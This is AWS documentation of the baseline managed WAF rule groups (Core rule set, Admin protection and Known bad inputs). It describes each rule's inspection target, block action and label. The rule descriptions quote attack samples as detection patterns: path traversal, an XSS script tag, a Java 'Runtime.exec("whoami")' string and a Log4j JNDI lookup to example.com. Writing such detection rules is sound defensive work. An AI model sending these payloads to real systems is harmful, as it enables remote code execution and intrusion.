Baseline rule groups - AWS WAF, AWS Firewall Manager, and AWS Shield Advanced
Baseline rule groups - AWS WAF, AWS Firewall Manager, and AWS Shield Advanced
Core rule set (CRS)Admin protectionKnown bad inputs

Baseline rule groups

Baseline managed rule groups provide general protection against a wide variety of common threats. Choose one or more of these rule groups to establish baseline protection for your resources.

Core rule set (CRS) managed rule group

VendorName: AWS, Name: AWSManagedRulesCommonRuleSet, WCU: 700

Note

This documentation covers the most recent static version release of this managed rule group. We report version changes in the changelog log at AWS Managed Rules changelog. For information about other versions, use the API command DescribeManagedRuleGroup.

The information that we publish for the rules in the AWS Managed Rules rule groups is intended to provide you with what you need to use the rules without giving bad actors what they need to circumvent the rules.

If you need more information than you find here, contact the AWS Support Center.

The core rule set (CRS) rule group contains rules that are generally applicable to web applications. This provides protection against exploitation of a wide range of vulnerabilities, including some of the high risk and commonly occurring vulnerabilities described in OWASP publications such as OWASP Top 10. Consider using this rule group for any AWS WAF use case.

This managed rule group adds labels to the web requests that it evaluates, which are available to rules that run after this rule group in your web ACL. AWS WAF also records the labels to Amazon CloudWatch metrics. For general information about labels and label metrics, see Web request labeling and Label metrics and dimensions.

Rule name Description and label
NoUserAgent_HEADER

Inspects for requests that are missing the HTTP User-Agent header.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:NoUserAgent_Header
UserAgent_BadBots_HEADER

Inspects for common User-Agent header values that indicate that the request is a bad bot. Example patterns include nessus, and nmap. For bot management, see also AWS WAF Bot Control rule group.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:BadBots_Header
SizeRestrictions_QUERYSTRING

Inspects for URI query strings that are over 2,048 bytes.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:SizeRestrictions_QueryString
SizeRestrictions_Cookie_HEADER

Inspects for cookie headers that are over 10,240 bytes.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:SizeRestrictions_Cookie_Header
SizeRestrictions_BODY

Inspects for request bodies that are over 8 KB (8,192 bytes).

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:SizeRestrictions_Body
SizeRestrictions_URIPATH

Inspects for URI paths that are over 1,024 bytes.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:SizeRestrictions_URIPath
EC2MetaDataSSRF_BODY

Inspects for attempts to exfiltrate Amazon EC2 metadata from the request body.

Warning

This rule only inspects the request body up to the body size limit for the web ACL and resource type. For Application Load Balancer and AWS AppSync, the limit is fixed at 8 KB. For CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access, the default limit is 16 KB and you can increase the limit up to 64 KB in your web ACL configuration. This rule uses the Continue option for oversize content handling. For more information, see Oversize web request components in AWS WAF.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:EC2MetaDataSSRF_Body
EC2MetaDataSSRF_COOKIE

Inspects for attempts to exfiltrate Amazon EC2 metadata from the request cookie.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:EC2MetaDataSSRF_Cookie
EC2MetaDataSSRF_URIPATH

Inspects for attempts to exfiltrate Amazon EC2 metadata from the request URI path.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:EC2MetaDataSSRF_URIPath
EC2MetaDataSSRF_QUERYARGUMENTS

Inspects for attempts to exfiltrate Amazon EC2 metadata from the request query arguments.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:EC2MetaDataSSRF_QueryArguments
GenericLFI_QUERYARGUMENTS

Inspects for the presence of Local File Inclusion (LFI) exploits in the query arguments. Examples include path traversal attempts using techniques like ../../.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:GenericLFI_QueryArguments
GenericLFI_URIPATH

Inspects for the presence of Local File Inclusion (LFI) exploits in the URI path. Examples include path traversal attempts using techniques like ../../.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:GenericLFI_URIPath
GenericLFI_BODY

Inspects for the presence of Local File Inclusion (LFI) exploits in the request body. Examples include path traversal attempts using techniques like ../../.

Warning

This rule only inspects the request body up to the body size limit for the web ACL and resource type. For Application Load Balancer and AWS AppSync, the limit is fixed at 8 KB. For CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access, the default limit is 16 KB and you can increase the limit up to 64 KB in your web ACL configuration. This rule uses the Continue option for oversize content handling. For more information, see Oversize web request components in AWS WAF.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:GenericLFI_Body
RestrictedExtensions_URIPATH

Inspects for requests whose URI paths contain system file extensions that are unsafe to read or run. Example patterns include extensions like .log and .ini.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:RestrictedExtensions_URIPath
RestrictedExtensions_QUERYARGUMENTS

Inspects for requests whose query arguments contain system file extensions that are unsafe to read or run. Example patterns include extensions like .log and .ini.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:RestrictedExtensions_QueryArguments
GenericRFI_QUERYARGUMENTS

Inspects the values of all query parameters for attempts to exploit RFI (Remote File Inclusion) in web applications by embedding URLs that contain IPv4 addresses. Examples include patterns like http://, https://, ftp://, ftps://, and file://, with an IPv4 host header in the exploit attempt.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:GenericRFI_QueryArguments
GenericRFI_BODY

Inspects the request body for attempts to exploit RFI (Remote File Inclusion) in web applications by embedding URLs that contain IPv4 addresses. Examples include patterns like http://, https://, ftp://, ftps://, and file://, with an IPv4 host header in the exploit attempt.

Warning

This rule only inspects the request body up to the body size limit for the web ACL and resource type. For Application Load Balancer and AWS AppSync, the limit is fixed at 8 KB. For CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access, the default limit is 16 KB and you can increase the limit up to 64 KB in your web ACL configuration. This rule uses the Continue option for oversize content handling. For more information, see Oversize web request components in AWS WAF.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:GenericRFI_Body
GenericRFI_URIPATH

Inspects the URI path for attempts to exploit RFI (Remote File Inclusion) in web applications by embedding URLs that contain IPv4 addresses. Examples include patterns like http://, https://, ftp://, ftps://, and file://, with an IPv4 host header in the exploit attempt.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:GenericRFI_URIPath
CrossSiteScripting_COOKIE

Inspects the values of cookie headers for common cross-site scripting (XSS) patterns using the built-in AWS WAF Cross-site scripting attack rule statement. Example patterns include scripts like <script>alert("hello")</script>.

Note

The rule match details in the AWS WAF logs is not populated for version 2.0 of this rule group.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:CrossSiteScripting_Cookie
CrossSiteScripting_QUERYARGUMENTS

Inspects the values of query arguments for common cross-site scripting (XSS) patterns using the built-in AWS WAF Cross-site scripting attack rule statement. Example patterns include scripts like <script>alert("hello")</script>.

Note

The rule match details in the AWS WAF logs is not populated for version 2.0 of this rule group.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:CrossSiteScripting_QueryArguments
CrossSiteScripting_BODY

Inspects the request body for common cross-site scripting (XSS) patterns using the built-in AWS WAF Cross-site scripting attack rule statement. Example patterns include scripts like <script>alert("hello")</script>.

Note

The rule match details in the AWS WAF logs is not populated for version 2.0 of this rule group.

Warning

This rule only inspects the request body up to the body size limit for the web ACL and resource type. For Application Load Balancer and AWS AppSync, the limit is fixed at 8 KB. For CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access, the default limit is 16 KB and you can increase the limit up to 64 KB in your web ACL configuration. This rule uses the Continue option for oversize content handling. For more information, see Oversize web request components in AWS WAF.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:CrossSiteScripting_Body
CrossSiteScripting_URIPATH

Inspects the value of the URI path for common cross-site scripting (XSS) patterns using the built-in AWS WAF Cross-site scripting attack rule statement. Example patterns include scripts like <script>alert("hello")</script>.

Note

The rule match details in the AWS WAF logs is not populated for version 2.0 of this rule group.

Rule action: Block

Label: awswaf:managed:aws:core-rule-set:CrossSiteScripting_URIPath

Admin protection managed rule group

VendorName: AWS, Name: AWSManagedRulesAdminProtectionRuleSet, WCU: 100

Note

This documentation covers the most recent static version release of this managed rule group. We report version changes in the changelog log at AWS Managed Rules changelog. For information about other versions, use the API command DescribeManagedRuleGroup.

The information that we publish for the rules in the AWS Managed Rules rule groups is intended to provide you with what you need to use the rules without giving bad actors what they need to circumvent the rules.

If you need more information than you find here, contact the AWS Support Center.

The Admin protection rule group contains rules that allow you to block external access to exposed administrative pages. This might be useful if you run third-party software or want to reduce the risk of a malicious actor gaining administrative access to your application.

This managed rule group adds labels to the web requests that it evaluates, which are available to rules that run after this rule group in your web ACL. AWS WAF also records the labels to Amazon CloudWatch metrics. For general information about labels and label metrics, see Web request labeling and Label metrics and dimensions.

Rule name Description and label
AdminProtection_URIPATH

Inspects for URI paths that are generally reserved for administration of a web server or application. Example patterns include sqlmanager.

Rule action: Block

Label: awswaf:managed:aws:admin-protection:AdminProtection_URIPath

Known bad inputs managed rule group

VendorName: AWS, Name: AWSManagedRulesKnownBadInputsRuleSet, WCU: 200

Note

This documentation covers the most recent static version release of this managed rule group. We report version changes in the changelog log at AWS Managed Rules changelog. For information about other versions, use the API command DescribeManagedRuleGroup.

The information that we publish for the rules in the AWS Managed Rules rule groups is intended to provide you with what you need to use the rules without giving bad actors what they need to circumvent the rules.

If you need more information than you find here, contact the AWS Support Center.

The Known bad inputs rule group contains rules to block request patterns that are known to be invalid and are associated with exploitation or discovery of vulnerabilities. This can help reduce the risk of a malicious actor discovering a vulnerable application.

This managed rule group adds labels to the web requests that it evaluates, which are available to rules that run after this rule group in your web ACL. AWS WAF also records the labels to Amazon CloudWatch metrics. For general information about labels and label metrics, see Web request labeling and Label metrics and dimensions.

Rule name Description and label
JavaDeserializationRCE_HEADER

Inspects the keys and values of HTTP request headers for patterns indicating Java deserialization Remote Command Execution (RCE) attempts, such as the Spring Core and Cloud Function RCE vulnerabilities (CVE-2022-22963, CVE-2022-22965). Example patterns include (java.lang.Runtime).getRuntime().exec("whoami").

Warning

This rule only inspects the first 8 KB of the request headers or the first 200 headers, whichever limit is reached first, and it uses the Continue option for oversize content handling. For more information, see Oversize web request components in AWS WAF.

Rule action: Block

Label: awswaf:managed:aws:known-bad-inputs:JavaDeserializationRCE_Header

JavaDeserializationRCE_BODY

Inspects the request body for patterns indicating Java deserialization Remote Command Execution (RCE) attempts, such as the Spring Core and Cloud Function RCE vulnerabilities (CVE-2022-22963, CVE-2022-22965). Example patterns include (java.lang.Runtime).getRuntime().exec("whoami").

Warning

This rule only inspects the request body up to the body size limit for the web ACL and resource type. For Application Load Balancer and AWS AppSync, the limit is fixed at 8 KB. For CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access, the default limit is 16 KB and you can increase the limit up to 64 KB in your web ACL configuration. This rule uses the Continue option for oversize content handling. For more information, see Oversize web request components in AWS WAF.

Rule action: Block

Label: awswaf:managed:aws:known-bad-inputs:JavaDeserializationRCE_Body
JavaDeserializationRCE_URIPATH

Inspects the request URI for patterns indicating Java deserialization Remote Command Execution (RCE) attempts, such as the Spring Core and Cloud Function RCE vulnerabilities (CVE-2022-22963, CVE-2022-22965). Example patterns include (java.lang.Runtime).getRuntime().exec("whoami").

Rule action: Block

Label: awswaf:managed:aws:known-bad-inputs:JavaDeserializationRCE_URIPath
JavaDeserializationRCE_QUERYSTRING

Inspects the request query string for patterns indicating Java deserialization Remote Command Execution (RCE) attempts, such as the Spring Core and Cloud Function RCE vulnerabilities (CVE-2022-22963, CVE-2022-22965). Example patterns include (java.lang.Runtime).getRuntime().exec("whoami").

Rule action: Block

Label: awswaf:managed:aws:known-bad-inputs:JavaDeserializationRCE_QueryString
Host_localhost_HEADER

Inspects the host header in the request for patterns indicating localhost. Example patterns include localhost.

Rule action: Block

Label: awswaf:managed:aws:known-bad-inputs:Host_Localhost_Header
PROPFIND_METHOD

Inspects the HTTP method in the request for PROPFIND, which is a method similar to HEAD, but with the extra intention to exfiltrate XML objects.

Rule action: Block

Label: awswaf:managed:aws:known-bad-inputs:Propfind_Method
ExploitablePaths_URIPATH

Inspects the URI path for attempts to access exploitable web application paths. Example patterns include paths like web-inf.

Rule action: Block

Label: awswaf:managed:aws:known-bad-inputs:ExploitablePaths_URIPath
Log4JRCE_HEADER

Inspects the keys and values of request headers for the presence of the Log4j vulnerability (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105) and protects against Remote Code Execution (RCE) attempts. Example patterns include ${jndi:ldap://example.com/}.

Warning

This rule only inspects the first 8 KB of the request headers or the first 200 headers, whichever limit is reached first, and it uses the Continue option for oversize content handling. For more information, see Oversize web request components in AWS WAF.

Rule action: Block

Label: awswaf:managed:aws:known-bad-inputs:Log4JRCE_Header
Log4JRCE_QUERYSTRING

Inspects the query string for the presence of the Log4j vulnerability (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105) and protects against Remote Code Execution (RCE) attempts. Example patterns include ${jndi:ldap://example.com/}.

Rule action: Block

Label: awswaf:managed:aws:known-bad-inputs:Log4JRCE_QueryString
Log4JRCE_BODY

Inspects the body for the presence of the Log4j vulnerability (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105) and protects against Remote Code Execution (RCE) attempts. Example patterns include ${jndi:ldap://example.com/}.

Warning

This rule only inspects the request body up to the body size limit for the web ACL and resource type. For Application Load Balancer and AWS AppSync, the limit is fixed at 8 KB. For CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access, the default limit is 16 KB and you can increase the limit up to 64 KB in your web ACL configuration. This rule uses the Continue option for oversize content handling. For more information, see Oversize web request components in AWS WAF.

Rule action: Block

Label: awswaf:managed:aws:known-bad-inputs:Log4JRCE_Body
Log4JRCE_URIPATH

Inspects the URI path for the presence of the Log4j vulnerability (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105) and protects against Remote Code Execution (RCE) attempts. Example patterns include ${jndi:ldap://example.com/}.

Rule action: Block

Label: awswaf:managed:aws:known-bad-inputs:Log4JRCE_URIPath